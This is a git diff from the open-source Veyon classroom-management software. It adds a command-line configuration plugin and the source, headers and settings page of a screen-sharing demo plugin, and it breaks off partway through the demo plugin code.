+INCLUDE(BuildPlugin) + +BUILD_PLUGIN(builtindirectory + BuiltinDirectoryPlugin.cpp + BuiltinDirectoryConfiguration.cpp + BuiltinDirectoryConfigurationPage.cpp + BuiltinDirectory.cpp + MOCFILES + BuiltinDirectoryPlugin.h + BuiltinDirectoryConfiguration.h + BuiltinDirectoryConfigurationPage.h + BuiltinDirectory.h + RESOURCES + builtindirectory.qrc + FORMS + BuiltinDirectoryConfigurationPage.ui + COTIRE +) diff --git a/plugins/builtindirectory/application-msonenote.png b/plugins/builtindirectory/application-msonenote.png new file mode 100644 index 0000000000000000000000000000000000000000..6ce32b1a75c35f679ed1c8eae0495e9df3338ae2 GIT binary patch literal 962 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?H3?#oinD`S&F&8^|hH!9j+q~g}w z+nN4{90b@NgdLQA&#k}b{bZ#T8ck6lHXm4y{`|lHu)nIBh_T7sz6ZbSRA!%>e70#2--!2$*kBBTpWGn7>3*e~9C-N(9CdI`U4Qx;6V!lbOOw-VQD1P0NfFmh&!HS-+oy`|O2|4>}-aR~YTK zC4m?W`3)1NY+v)|pzh4=zAH5#S|ZY&Jstd{4_HZW`=+F0;;ejVGe~Iw`-2i5Aid?= z|F)$G(S^BrTNvGMHK?XK7_Q-oFezc=bQWLmC#ksXR%wBQ{`U84`L0|P^E62Ac^UNo zK%)1CeP<&LCi+_*u*yCemGt#}#QdKU3%wWqddm4M_I7gjmHOG~-+K#U5@hG_nO@rU p%j~>djn2QMmE@bJI^Q;%-6i-(_mvv4FO#t;gd{h7c literal 0 HcmV?d00001 diff --git a/plugins/builtindirectory/builtindirectory.qrc b/plugins/builtindirectory/builtindirectory.qrc new file mode 100644 index 0000000..a5df0a6 --- /dev/null +++ b/plugins/builtindirectory/builtindirectory.qrc @@ -0,0 +1,5 @@ + + + application-msonenote.png + + diff --git a/plugins/config/CMakeLists.txt b/plugins/config/CMakeLists.txt new file mode 100644 index 0000000..6d12c99 --- /dev/null +++ b/plugins/config/CMakeLists.txt @@ -0,0 +1,3 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(config ConfigCommandLinePlugin.cpp MOCFILES ConfigCommandLinePlugin.h) diff --git a/plugins/config/ConfigCommandLinePlugin.cpp b/plugins/config/ConfigCommandLinePlugin.cpp new file mode 100644 index 0000000..07130f6 --- /dev/null +++ b/plugins/config/ConfigCommandLinePlugin.cpp @@ -0,0 +1,338 @@ +/* + * ConfigCommandLinePlugin.cpp - implementation of ConfigCommandLinePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "CommandLineIO.h" +#include "Configuration/JsonStore.h" +#include "ConfigCommandLinePlugin.h" +#include "ConfigurationManager.h" +#include "CryptoCore.h" + + +ConfigCommandLinePlugin::ConfigCommandLinePlugin( QObject* parent ) : + QObject( parent ), + m_commands( { +{ "clear", tr( "Clear system-wide Veyon configuration" ) }, +{ "list", tr( "List all configuration keys and values" ) }, +{ "import", tr( "Import configuration from given file" ) }, +{ "export", tr( "Export configuration to given file" ) }, +{ "get", tr( "Read and output configuration value for given key" ) }, +{ "set", tr( "Write given value to given configuration key" ) }, +{ "unset", tr( "Unset (remove) given configuration key" ) }, +{ "upgrade", tr( "Upgrade and save configuration of program and plugins" ) }, + } ) +{ +} + + + +ConfigCommandLinePlugin::~ConfigCommandLinePlugin() +{ +} + + + +QStringList ConfigCommandLinePlugin::commands() const +{ + return m_commands.keys(); +} + + + +QString ConfigCommandLinePlugin::commandHelp( const QString& command ) const +{ + return m_commands.value( command ); +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_clear( const QStringList& arguments ) +{ + Q_UNUSED(arguments); + + if( ConfigurationManager().clearConfiguration() ) + { + return Successful; + } + + return Failed; +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_list( const QStringList& arguments ) +{ + Q_UNUSED(arguments); + + // clear global configuration + listConfiguration( VeyonCore::config().data(), QString() ); + + return NoResult; +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_import( const QStringList& arguments ) +{ + QString fileName = arguments.value( 0 ); + + if( fileName.isEmpty() || QFile( fileName ).exists() == false ) + { + return operationError( tr( "Please specify an existing configuration file to import." ) ); + } + + if( QFileInfo( fileName ).isReadable() == false ) + { + return operationError( tr( "Configuration file is not readable!" ) ); + } + + Configuration::JsonStore xs( Configuration::JsonStore::System, fileName ); + + // merge configuration + VeyonCore::config() += VeyonConfiguration( &xs ); + + return applyConfiguration(); +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_export( const QStringList& arguments ) +{ + QString fileName = arguments.value( 0 ); + + if( fileName.isEmpty() ) + { + return operationError( tr( "Please specify a valid filename for the configuration export." ) ); + } + + QFileInfo fileInfo( fileName ); + if( fileInfo.exists() && fileInfo.isWritable() == false ) + { + return operationError( tr( "Output file is not writable!" ) ); + } + + if( fileInfo.exists() == false && QFileInfo( fileInfo.dir().path() ).isWritable() == false ) + { + return operationError( tr( "Output directory is not writable!" ) ); + } + + // write current configuration to output file + Configuration::JsonStore( Configuration::JsonStore::System, fileName ).flush( &VeyonCore::config() ); + + return Successful; +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_get( const QStringList& arguments ) +{ + QString key = arguments.value( 0 ); + + if( key.isEmpty() ) + { + return operationError( tr( "Please specify a valid key." ) ); + } + + QStringList keyParts = key.split( '/' ); + key = keyParts.last(); + QString parentKey; + + if( keyParts.size() > 1 ) + { + parentKey = keyParts.mid( 0, keyParts.size()-1).join( '/' ); + } + + if( VeyonCore::config().hasValue( key, parentKey ) == false ) + { + return operationError( tr( "Specified key does not exist in current configuration!" ) ); + } + + CommandLineIO::print( printableConfigurationValue( VeyonCore::config().value( key, parentKey ) ) ); + + return NoResult; +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_set( const QStringList& arguments ) +{ + auto key = arguments.value( 0 ); + auto value = arguments.value( 1 ); + auto type = arguments.value( 2 ); + + if( key.isEmpty() ) + { + return operationError( tr( "Please specify a valid key." ) ); + } + + if( value.isEmpty() ) + { + return operationError( tr( "Please specify a valid value." ) ); + } + + const auto keyParts = key.split( '/' ); + key = keyParts.last(); + QString parentKey; + + if( keyParts.size() > 1 ) + { + parentKey = keyParts.mid( 0, keyParts.size()-1).join( '/' ); + } + + QVariant configValue = value; + + if( type == QStringLiteral("json") || + VeyonCore::config().value( key, parentKey ).userType() == QMetaType::type( "QJsonArray" ) ) + { + configValue = QJsonDocument::fromJson( value.toUtf8() ).array(); + } + else if( key.contains( QStringLiteral("password"), Qt::CaseInsensitive ) || + type == QStringLiteral("password") ) + { + configValue = VeyonCore::cryptoCore().encryptPassword( value ); + } + + VeyonCore::config().setValue( key, configValue, parentKey ); + + return applyConfiguration(); +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_unset( const QStringList& arguments ) +{ + QString key = arguments.value( 0 ); + + if( key.isEmpty() ) + { + return operationError( tr( "Please specify a valid key." ) ); + } + + QStringList keyParts = key.split( '/' ); + key = keyParts.last(); + QString parentKey; + + if( keyParts.size() > 1 ) + { + parentKey = keyParts.mid( 0, keyParts.size()-1).join( '/' ); + } + + VeyonCore::config().removeValue( key, parentKey ); + + return applyConfiguration(); +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::handle_upgrade( const QStringList& arguments ) +{ + Q_UNUSED(arguments); + + // upgrade already happened while loading plugins so only save upgraded configuration + return applyConfiguration(); +} + + + +void ConfigCommandLinePlugin::listConfiguration( const VeyonConfiguration::DataMap &map, + const QString &parentKey ) +{ + for( auto it = map.begin(); it != map.end(); ++it ) + { + QString curParentKey = parentKey.isEmpty() ? it.key() : parentKey + "/" + it.key(); + + if( it.value().type() == QVariant::Map ) + { + listConfiguration( it.value().toMap(), curParentKey ); + } + else + { + QString value = printableConfigurationValue( it.value() ); + if( value.isNull() ) + { + qWarning() << "Key" << it.key() << "has unknown value type:" << it.value(); + } + else + { + QTextStream( stdout ) << curParentKey << "=" << value << endl; + } + } + } +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::applyConfiguration() +{ + ConfigurationManager configurationManager; + + if( configurationManager.saveConfiguration() == false || + configurationManager.applyConfiguration() == false ) + { + return operationError( configurationManager.errorString() ); + } + + return Successful; +} + + + +QString ConfigCommandLinePlugin::printableConfigurationValue( const QVariant& value ) +{ + if( value.type() == QVariant::String || + value.type() == QVariant::Uuid || + value.type() == QVariant::UInt || + value.type() == QVariant::Bool ) + { + return value.toString(); + } + else if( value.type() == QVariant::StringList ) + { + QStringList list = value.toStringList(); + for( auto& str : list ) + { + str = "\"" + str + "\""; + } + return "(" + list.join( ',' ) + ")"; + } + else if( value.userType() == QMetaType::type( "QJsonArray" ) ) + { + return QString::fromUtf8( QJsonDocument( value.toJsonArray() ).toJson( QJsonDocument::Compact ) ); + } + + return QString(); +} + + + +CommandLinePluginInterface::RunResult ConfigCommandLinePlugin::operationError( const QString& message ) +{ + CommandLineIO::error( message ); + + return Failed; +} diff --git a/plugins/config/ConfigCommandLinePlugin.h b/plugins/config/ConfigCommandLinePlugin.h new file mode 100644 index 0000000..2d1b6b3 --- /dev/null +++ b/plugins/config/ConfigCommandLinePlugin.h @@ -0,0 +1,106 @@ +/* + * ConfigCommandLinePlugin.h - declaration of ConfigCommandLinePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIG_COMMAND_LINE_PLUGIN_H +#define CONFIG_COMMAND_LINE_PLUGIN_H + +#include "CommandLinePluginInterface.h" +#include "VeyonConfiguration.h" + +class ConfigCommandLinePlugin : public QObject, CommandLinePluginInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.ConfigCommandLineInterface") + Q_INTERFACES(PluginInterface CommandLinePluginInterface) +public: + ConfigCommandLinePlugin( QObject* parent = nullptr ); + ~ConfigCommandLinePlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("1bdb0d1c-f8eb-4d21-a093-d555a10f3975"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "Config" ); + } + + QString description() const override + { + return tr( "Configure Veyon at command line" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + QString commandLineModuleName() const override + { + return QStringLiteral( "config" ); + } + + QString commandLineModuleHelp() const override + { + return tr( "Commands for managing the configuration of Veyon" ); + } + + QStringList commands() const override; + QString commandHelp( const QString& command ) const override; + +public slots: + CommandLinePluginInterface::RunResult handle_clear( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_list( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_import( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_export( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_get( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_set( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_unset( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_upgrade( const QStringList& arguments ); + +private: + void listConfiguration( const VeyonConfiguration::DataMap &map, + const QString &parentKey ); + CommandLinePluginInterface::RunResult applyConfiguration(); + + static QString printableConfigurationValue( const QVariant& value ); + + CommandLinePluginInterface::RunResult operationError( const QString& message ); + + QMap m_commands; + +}; + +#endif // CONFIG_COMMAND_LINE_PLUGIN_H diff --git a/plugins/demo/CMakeLists.txt b/plugins/demo/CMakeLists.txt new file mode 100644 index 0000000..3f38200 --- /dev/null +++ b/plugins/demo/CMakeLists.txt @@ -0,0 +1,25 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(demo + DemoFeaturePlugin.cpp + DemoConfiguration.cpp + DemoConfigurationPage.cpp + DemoServer.cpp + DemoServerConnection.cpp + DemoServerProtocol.cpp + DemoClient.cpp + MOCFILES + DemoFeaturePlugin.h + DemoConfiguration.h + DemoConfigurationPage.h + DemoServer.h + DemoServerConnection.h + DemoServerProtocol.h + DemoClient.h + FORMS + DemoConfigurationPage.ui + RESOURCES demo.qrc + COTIRE +) + +TARGET_LINK_LIBRARIES(demo ${LZO_LIBRARIES}) diff --git a/plugins/demo/DemoClient.cpp b/plugins/demo/DemoClient.cpp new file mode 100644 index 0000000..9f1eb48 --- /dev/null +++ b/plugins/demo/DemoClient.cpp @@ -0,0 +1,123 @@ +/* + * DemoClient.cpp - client widget for demo mode + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "DemoClient.h" +#include "VeyonConfiguration.h" +#include "LockWidget.h" +#include "PlatformCoreFunctions.h" +#include "VncView.h" + + +DemoClient::DemoClient( const QString& host, bool fullscreen, QObject* parent ) : + QObject( parent ), + m_toplevel( nullptr ) +{ + if( fullscreen ) + { + m_toplevel = new LockWidget( LockWidget::NoBackground ); + } + else + { + m_toplevel = new QWidget(); + } + + m_toplevel->setWindowTitle( tr( "%1 Demo" ).arg( VeyonCore::applicationName() ) ); + m_toplevel->setWindowIcon( QPixmap( ":/resources/display.png" ) ); + m_toplevel->setAttribute( Qt::WA_DeleteOnClose, false ); + + if( fullscreen == false ) + { + m_toplevel->setWindowFlags( Qt::Window | Qt::CustomizeWindowHint | Qt::WindowTitleHint | Qt::WindowMinMaxButtonsHint ); + m_toplevel->resize( QApplication::desktop()->availableGeometry( m_toplevel ).size() - QSize( 10, 30 ) ); + } + + m_vncView = new VncView( host, VeyonCore::config().demoServerPort(), m_toplevel, VncView::DemoMode ); + + auto toplevelLayout = new QVBoxLayout; + toplevelLayout->setMargin( 0 ); + toplevelLayout->setSpacing( 0 ); + toplevelLayout->addWidget( m_vncView ); + + m_toplevel->setLayout( toplevelLayout ); + + connect( m_toplevel, &QObject::destroyed, + this, &DemoClient::viewDestroyed ); + connect( m_vncView, &VncView::sizeHintChanged, + this, &DemoClient::resizeToplevelWidget ); + + m_toplevel->move( 0, 0 ); + if( fullscreen ) + { + m_toplevel->showFullScreen(); + } + else + { + m_toplevel->show(); + } + + VeyonCore::platform().coreFunctions().raiseWindow( m_toplevel ); + + VeyonCore::platform().coreFunctions().disableScreenSaver(); +} + + + +DemoClient::~DemoClient() +{ + VeyonCore::platform().coreFunctions().restoreScreenSaverSettings(); + + delete m_toplevel; +} + + + +void DemoClient::viewDestroyed( QObject* obj ) +{ + // prevent double deletion of toplevel widget + if( m_toplevel == obj ) + { + m_toplevel = nullptr; + } + + deleteLater(); +} + + + +void DemoClient::resizeToplevelWidget() +{ + if( m_toplevel->windowState() & Qt::WindowFullScreen ) + { + m_vncView->resize( m_toplevel->size() ); + } + else + { + m_toplevel->resize( m_vncView->sizeHint() ); + } +} diff --git a/plugins/demo/DemoClient.h b/plugins/demo/DemoClient.h new file mode 100644 index 0000000..06870ee --- /dev/null +++ b/plugins/demo/DemoClient.h @@ -0,0 +1,51 @@ +/* + * DemoClient.h - client for demo-server + * + * Copyright (c) 2006-2013 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DEMO_CLIENT_H +#define DEMO_CLIENT_H + +#include + +class VncView; + +class DemoClient : public QObject +{ + Q_OBJECT +public: + DemoClient( const QString& host, bool fullscreen, QObject* parent = nullptr ); + ~DemoClient() override; + + +private slots: + void viewDestroyed( QObject* obj ); + void resizeToplevelWidget(); + + +private: + QWidget* m_toplevel; + VncView* m_vncView; + +} ; + +#endif diff --git a/plugins/demo/DemoConfiguration.cpp b/plugins/demo/DemoConfiguration.cpp new file mode 100644 index 0000000..cd3b1ba --- /dev/null +++ b/plugins/demo/DemoConfiguration.cpp @@ -0,0 +1,50 @@ +/* + * DemoConfiguration.cpp - configuration values for Demo plugin + * + * Copyright (c) 2017-2018 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "DemoConfiguration.h" + + +DemoConfiguration::DemoConfiguration() : + Configuration::Proxy( &VeyonCore::config() ) +{ + // sanitize configuration + if( framebufferUpdateInterval() <= 0 ) + { + setFramebufferUpdateInterval( DefaultFramebufferUpdateInterval ); + } + + if( keyFrameInterval() <= 0 ) + { + setKeyFrameInterval( DefaultKeyFrameInterval ); + } + + if( memoryLimit() <= 0 ) + { + setMemoryLimit( DefaultMemoryLimit ); + } +} + + +FOREACH_DEMO_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/plugins/demo/DemoConfiguration.h b/plugins/demo/DemoConfiguration.h new file mode 100644 index 0000000..be29282 --- /dev/null +++ b/plugins/demo/DemoConfiguration.h @@ -0,0 +1,60 @@ +/* + * DemoConfiguration.h - configuration values for Demo plugin + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DEMO_CONFIGURATION_H +#define DEMO_CONFIGURATION_H + +#include "Configuration/Proxy.h" + +#define FOREACH_DEMO_CONFIG_PROPERTY(OP) \ + OP( DemoConfiguration, m_configuration, BOOL, multithreadingEnabled, setMultithreadingEnabled, "MultithreadingEnabled", "Demo" ); \ + OP( DemoConfiguration, m_configuration, INT, framebufferUpdateInterval, setFramebufferUpdateInterval, "FramebufferUpdateInterval", "Demo" ); \ + OP( DemoConfiguration, m_configuration, INT, keyFrameInterval, setKeyFrameInterval, "KeyFrameInterval", "Demo" ); \ + OP( DemoConfiguration, m_configuration, INT, memoryLimit, setMemoryLimit, "MemoryLimit", "Demo" ); \ + +// clazy:excludeall=ctor-missing-parent-argument + +class DemoConfiguration : public Configuration::Proxy +{ + Q_OBJECT +public: + enum { + DefaultFramebufferUpdateInterval = 100, // in milliseconds + DefaultKeyFrameInterval = 10, // in seconds + DefaultMemoryLimit = 128, // in MB + }; + + DemoConfiguration(); + + FOREACH_DEMO_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + +public slots: + void setMultithreadingEnabled( bool ); + void setFramebufferUpdateInterval( int ); + void setKeyFrameInterval( int ); + void setMemoryLimit( int ); + +} ; + +#endif diff --git a/plugins/demo/DemoConfigurationPage.cpp b/plugins/demo/DemoConfigurationPage.cpp new file mode 100644 index 0000000..741eed0 --- /dev/null +++ b/plugins/demo/DemoConfigurationPage.cpp @@ -0,0 +1,83 @@ +/* + * DemoConfigurationPage.cpp - implementation of DemoConfigurationPage + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "DemoConfiguration.h" +#include "DemoConfigurationPage.h" +#include "Configuration/UiMapping.h" + +#include "ui_DemoConfigurationPage.h" + +DemoConfigurationPage::DemoConfigurationPage( DemoConfiguration& configuration, QWidget* parent ) : + ConfigurationPage( parent ), + ui( new Ui::DemoConfigurationPage ), + m_configuration( configuration ) +{ + ui->setupUi(this); + + // MT not supported yet + ui->multithreadingEnabled->setVisible( false ); +} + + + +DemoConfigurationPage::~DemoConfigurationPage() +{ + delete ui; +} + + + +void DemoConfigurationPage::resetWidgets() +{ + // sanitize configuration + if( m_configuration.framebufferUpdateInterval() < ui->framebufferUpdateInterval->minimum() ) + { + m_configuration.setFramebufferUpdateInterval( DemoConfiguration::DefaultFramebufferUpdateInterval ); + } + + if( m_configuration.keyFrameInterval() < ui->keyFrameInterval->minimum() ) + { + m_configuration.setKeyFrameInterval( DemoConfiguration::DefaultKeyFrameInterval ); + } + + if( m_configuration.memoryLimit() < ui->memoryLimit->minimum() ) + { + m_configuration.setMemoryLimit( DemoConfiguration::DefaultMemoryLimit ); + } + + FOREACH_DEMO_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); +} + + + +void DemoConfigurationPage::connectWidgetsToProperties() +{ + FOREACH_DEMO_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY) +} + + + +void DemoConfigurationPage::applyConfiguration() +{ +} diff --git a/plugins/demo/DemoConfigurationPage.h b/plugins/demo/DemoConfigurationPage.h new file mode 100644 index 0000000..a33d846 --- /dev/null +++ b/plugins/demo/DemoConfigurationPage.h @@ -0,0 +1,55 @@ +/* + * DemoConfigurationPage.h - header for the DemoConfigurationPage class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DEMO_CONFIGURATION_PAGE_H +#define DEMO_CONFIGURATION_PAGE_H + +#include "ConfigurationPage.h" + +namespace Ui { +class DemoConfigurationPage; +} + +class DemoConfiguration; + +class DemoConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + DemoConfigurationPage( DemoConfiguration& configuration, QWidget* parent = nullptr ); + ~DemoConfigurationPage(); + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + + +private: + Ui::DemoConfigurationPage *ui; + + DemoConfiguration& m_configuration; + +}; + +#endif // DEMO_CONFIGURATION_PAGE_H diff --git a/plugins/demo/DemoConfigurationPage.ui b/plugins/demo/DemoConfigurationPage.ui new file mode 100644 index 0000000..a17ddfe --- /dev/null +++ b/plugins/demo/DemoConfigurationPage.ui @@ -0,0 +1,129 @@ + + + DemoConfigurationPage + + + Demo server + + + + :/demo/window-duplicate.png:/demo/window-duplicate.png + + + + 0 + + + 0 + + + + + Tunables + + + + + + ms + + + 50 + + + 500 + + + 50 + + + 100 + + + + + + + Key frame interval + + + + + + + Memory limit + + + + + + + Use multithreading (experimental) + + + + + + + MB + + + 64 + + + 512 + + + 16 + + + 128 + + + + + + + Update interval + + + + + + + s + + + 1 + + + 30 + + + 10 + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + diff --git a/plugins/demo/DemoFeaturePlugin.cpp b/plugins/demo/DemoFeaturePlugin.cpp new file mode 100644 index 0000000..7c56692 --- /dev/null +++ b/plugins/demo/DemoFeaturePlugin.cpp @@ -0,0 +1,290 @@ +/* + * DemoFeaturePlugin.cpp - implementation of DemoFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "AuthenticationCredentials.h" +#include "Computer.h" +#include "CryptoCore.h" +#include "DemoClient.h" +#include "DemoConfigurationPage.h" +#include "DemoFeaturePlugin.h" +#include "DemoServer.h" +#include "FeatureWorkerManager.h" +#include "VeyonConfiguration.h" +#include "VeyonServerInterface.h" +#include "Logger.h" + + +DemoFeaturePlugin::DemoFeaturePlugin( QObject* parent ) : + QObject( parent ), + m_fullscreenDemoFeature( Feature::Mode | Feature::AllComponents, + Feature::Uid( "7b6231bd-eb89-45d3-af32-f70663b2f878" ), + Feature::Uid(), + tr( "Fullscreen demo" ), tr( "Stop demo" ), + tr( "In this mode your screen is being displayed in " + "fullscreen mode on all computers while input " + "devices of the users are locked." ), + QStringLiteral(":/demo/presentation-fullscreen.png") ), + m_windowDemoFeature( Feature::Mode | Feature::AllComponents, + Feature::Uid( "ae45c3db-dc2e-4204-ae8b-374cdab8c62c" ), + Feature::Uid(), + tr( "Window demo" ), tr( "Stop demo" ), + tr( "In this mode your screen being displayed in a " + "window on all computers. The users are " + "able to switch to other windows as needed." ), + QStringLiteral(":/demo/presentation-window.png") ), + m_demoServerFeature( Feature::Session | Feature::Service | Feature::Worker | Feature::Builtin, + Feature::Uid( "e4b6e743-1f5b-491d-9364-e091086200f4" ), + Feature::Uid(), + tr( "Demo server" ), QString(), QString() ), + m_features( { m_fullscreenDemoFeature, m_windowDemoFeature, m_demoServerFeature } ), + m_demoAccessToken( CryptoCore::generateChallenge().toBase64() ), + m_demoClientHosts(), + m_demoServer( nullptr ), + m_demoClient( nullptr ) +{ +} + + + +DemoFeaturePlugin::~DemoFeaturePlugin() +{ +} + + + +bool DemoFeaturePlugin::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + + if( feature == m_windowDemoFeature || feature == m_fullscreenDemoFeature ) + { + FeatureMessage featureMessage( m_demoServerFeature.uid(), StartDemoServer ); + featureMessage.addArgument( DemoAccessToken, m_demoAccessToken ); + + VeyonCore::localComputerControlInterface().sendFeatureMessage( featureMessage ); + + for( auto computerControlInterface : computerControlInterfaces ) + { + m_demoClientHosts += computerControlInterface->computer().hostAddress(); + } + + qDebug() << "DemoFeaturePlugin::startMasterFeature(): clients:" << m_demoClientHosts; + + return sendFeatureMessage( FeatureMessage( feature.uid(), StartDemoClient ).addArgument( DemoAccessToken, m_demoAccessToken ), + computerControlInterfaces ); + } + + return false; +} + + + +bool DemoFeaturePlugin::stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + + if( feature == m_windowDemoFeature || feature == m_fullscreenDemoFeature ) + { + sendFeatureMessage( FeatureMessage( feature.uid(), StopDemoClient ), computerControlInterfaces ); + + for( auto computerControlInterface : computerControlInterfaces ) + { + 